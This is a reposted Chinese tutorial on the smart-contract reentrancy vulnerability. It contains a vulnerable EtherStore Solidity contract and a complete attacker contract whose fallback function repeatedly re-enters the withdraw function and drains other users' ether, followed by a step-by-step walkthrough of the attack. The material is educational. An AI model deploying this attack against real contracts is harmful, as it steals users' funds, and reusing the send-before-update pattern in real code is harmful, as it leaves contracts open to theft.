以太坊智能合约重入漏洞记录

重入攻击 初稿

以太坊智能合约一般使用solidity语言编写,在此情况下的智能合约具有的一个特性是在一个合约里面可以调用另外一个合约或者利用另外一个合约代码。

智能合约典型的操作是控制以太币流转,经常会调用智能合约发送以太币给各种各样的外部用户地址。调用外部合约或者发送以太币给一个地址的操作需要智能合约提交一个回调。这些外部调用能被攻击者劫持,他们借此强制智能合约执行额外的代码(例如通过回调函数),包括调用函数再次回到原先的智能合约。因此代码执行会“重入”智能合约,声名狼藉的DAO入侵就是借此漏洞。

介绍

当一个智能合约发送以太币到一个不明身份的地址时候这种攻击可能发生,攻击者可以在外部地址构造一个包含恶意回调函数的合约,因此,当正常合约发送以太币给这个地址的时候,将触发攻击者合约的恶意代码。用以下代码做一次分析。

下面是一个安全性低的智能合约代码,功能是允许用户存以太币并且每周只能提取1个以太币。

EtherStore.sol
contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

这个智能合约有两个共有方法,depositFunds()和withdrawFunds(),这个depositFunds()函数仅仅是简单的增加sender的余额,withdrawFunds()函数允许sender提取指定数量的wei为单位的以太币。当满足代码中的要求,如提取者的余额大于等于要提取的数量、要提取的数量小于等于提取限额、现在的时间大于提取者上次提取的时间一周,符合这些条件后允许提取,那么是这样吗?

这段代码的脆弱性在 require(msg.sender.call.value(_weiToWithdraw)()); 此行调用将发送给提取者指定数量的以太币。

下面看一个恶意攻击者创建了如下代码

import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

下面分析一下上面的代码如何利用EtherStore合约,假设攻击者创建如上合约,合约地址为0x0...123,并且在构造函数中传入EtherStore合约的地址,那么共有变量etherStore将指向被攻击的地址,随后攻击者调用pwdEtherStore()函数并携带一定的以太币,比如1 ether,在这个例子中将它会篡夺大量其他用户所存的以太币。例如EtherStore中当前所存的余额是10 ether,将会发生如下的事情

1、攻击者调用etherStore.depositFunds.value(1 ether)();代码,那么EtherStore合约的depositFunds()函数将被调用,在此mesg.value = 1 ether ,msg.sender 将是恶意合约的地址(0x...123),因此balances[0x...123] = 1 ether

2、紧接着将调用 etherStore.withdrawFunds(1 ether);代码,攻击者将调用EtherStore合约的withdrawFund()函数,参数为1 ether,当我们以前没有提款的时候那么会通过所有校验行 require(balances[msg.sender] >= _weiToWithdraw);

require(_weiToWithdraw <= withdrawalLimit);

require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

代码会执行到 require(msg.sender.call.value(_weiToWithdraw)())这一行,EtherStore会发送1 ether给恶意合约

当以太币发送给恶意合约后,会执行恶意合约的回调函数,函数如下

 // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }

EtherStore的余额总量是10 ether,那么现在etherStore.balance就是9,在此回调函数中会满足if的条件,那么会调用etherStore.withdrawFunds(1 ether),那么这就是"re-enters"进EtherStore合约,在第二次进入EtherStore合约的withdrawFunds()时候,balances[0x...123]仍旧是1 ether,因为第一次调用的时候没执行到修改余额修改提款时间的语句,因此再次进入此函数时候还是满足所有的require的条件,因此又提取了1 ether 后再次进入回调函数,重复此过程直到etherStore.balance > 1这个条件不满足时候才结束,此时wittdrawFunds()函数的如下语句才会被执行

balances[msg.sender] -= _weiToWithdraw;

lastWithdrawTime[msg.sender] = now;

最终结果是,在一次交易中攻击者提取了所有EtherStore合约的ether,除了fallback函数中if语句判断剩下的那一个ether,

转载于:https://my.oschina.net/u/3944438/blog/2872694

你可能感兴趣的:(区块链)